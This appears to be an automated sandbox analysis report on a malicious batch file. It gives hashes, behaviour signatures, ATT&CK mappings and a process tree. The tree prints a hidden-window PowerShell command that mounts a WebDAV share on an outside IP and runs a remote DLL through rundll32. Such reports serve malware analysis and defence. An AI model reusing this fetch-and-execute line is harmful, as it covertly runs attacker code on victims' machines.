37a5759e47766b92ebcebf65d1389c86c3c2e0fc5abf2d1f56785532ef9945db

Analysis

max time kernel
118s
max time network
119s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
13/07/2024, 13:31

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General

Target

9407235533128617945.bat
Size

2KB
MD5

2cdece460f9cdc13df6eb8454bcb4eb9
SHA1

4e0e86ef425aa5cc70c1bb80a5758bf355296a78
SHA256

37a5759e47766b92ebcebf65d1389c86c3c2e0fc5abf2d1f56785532ef9945db
SHA512

f365ae42e76b5fd7939d34acfdaab746adac889902c1a6f40332c4f25202603a9f43aeef610c82f0a59f7e20ba548c2bfda5a6af69858921baed15ccbe540d33

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2364	powershell.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2364	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2364	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2808	wordpad.exe
2808	wordpad.exe
2808	wordpad.exe
2808	wordpad.exe
2808	wordpad.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2452 wrote to memory of 2808	2452	cmd.exe	32
PID 2452 wrote to memory of 2808	2452	cmd.exe	32
PID 2452 wrote to memory of 2808	2452	cmd.exe	32
PID 2452 wrote to memory of 2364	2452	cmd.exe	33
PID 2452 wrote to memory of 2364	2452	cmd.exe	33
PID 2452 wrote to memory of 2364	2452	cmd.exe	33
PID 2364 wrote to memory of 2872	2364	powershell.exe	35
PID 2364 wrote to memory of 2872	2364	powershell.exe	35
PID 2364 wrote to memory of 2872	2364	powershell.exe	35
PID 2364 wrote to memory of 2752	2364	powershell.exe	36
PID 2364 wrote to memory of 2752	2364	powershell.exe	36
PID 2364 wrote to memory of 2752	2364	powershell.exe	36

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\9407235533128617945.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2452
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2808
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\1302.dll,entry
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2364
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwwroot\
    3⤵
    PID:2872
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" \\45.9.74.32@8888\davwwwroot\1302.dll entry
    3⤵
    PID:2752

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2364-23-0x000000001B5D0000-0x000000001B8B2000-memory.dmp

Filesize
2.9MB

Download
memory/2364-24-0x00000000022E0000-0x00000000022E8000-memory.dmp

Filesize
32KB

Download
memory/2452-16-0x00000000022A0000-0x00000000023A0000-memory.dmp

Filesize
1024KB

Download
memory/2452-17-0x00000000022A0000-0x00000000023A0000-memory.dmp

Filesize
1024KB

Download